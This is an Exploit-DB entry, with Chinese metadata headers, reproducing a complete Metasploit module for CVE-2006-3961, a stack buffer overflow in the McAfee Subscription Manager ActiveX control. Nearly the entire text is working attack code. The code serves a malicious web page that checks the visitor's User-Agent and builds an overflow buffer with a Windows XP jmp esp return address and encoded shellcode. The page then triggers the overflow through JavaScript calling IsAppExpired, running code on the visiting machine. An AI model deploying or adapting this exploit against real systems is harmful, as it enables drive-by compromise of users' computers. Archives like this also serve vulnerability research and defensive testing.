标题: McAfee Subscription Manager - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16510 CVE: 2006-3961 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: mcafee_mcsubmgr_vsprintf.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'McAfee Subscription Manager Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
    Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by
    passing a large string to one of the COM-exposed routines, such as IsAppExpired.
    This vulnerability was discovered by Karl Lynn of eEye.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'skape',
    ],
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2006-3961'],
     [ 'OSVDB', '27698'],
     [ 'BID', '19265'],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'],
    ],
   'Payload'        =>
    {
     'Space'          => 1014,
     'MaxNops'        => 0,
     'BadChars'       => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
     'EncoderType'    => Msf::Encoder::Type::NonUpperUtf8Safe,
     'EncoderOptions' =>
      {
       'BufferOffset' => 0x8
      }
    },
   'Targets'        =>
    [
     # Target 0: Automatic
     [
      'Windows XP SP0/SP1',
      {
       'Platform' => 'win',
       'Rets'     =>
        [
         0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
         #0x773f346a  # XP SP2 comctl32.dll: jmp esp
        ]
      },
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 01 2006'))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Pick the right target
  case request['User-Agent']
   when /Windows NT 5.1/
    ret = target['Rets'][0]
   else
    print_error("Unsupported target: #{request['User-Agent']}")
    cli.send_response(create_response(404, 'File not found'))
    return
  end

  # Build out our overflow buffer
  buf =
   rand_text(2972, payload_badchars) +
   [ ret ].pack('V') +
   "\x60" + # pusha
   "\x6a" + rand_char + # push byte 0x1
   "\x6a" + rand_char + # push byte 0x1
   "\x6a" + rand_char + # push byte 0x1
   "\x61" + # popa
   p.encoded

  # Generate random variable names
  vname    = rand_text_alpha(rand(100) + 1)
  strname  = rand_text_alpha(rand(100) + 1)

  # Build out the message
  content =
   "<html>" +
   "<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +
   "<script language='javascript'>\n" +
   "var #{vname} = document.getElementById('#{vname}');\n" +
   "var #{strname} = new String('#{buf}');\n" +
   "#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +
   "</script>" +
   "</html>"

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16510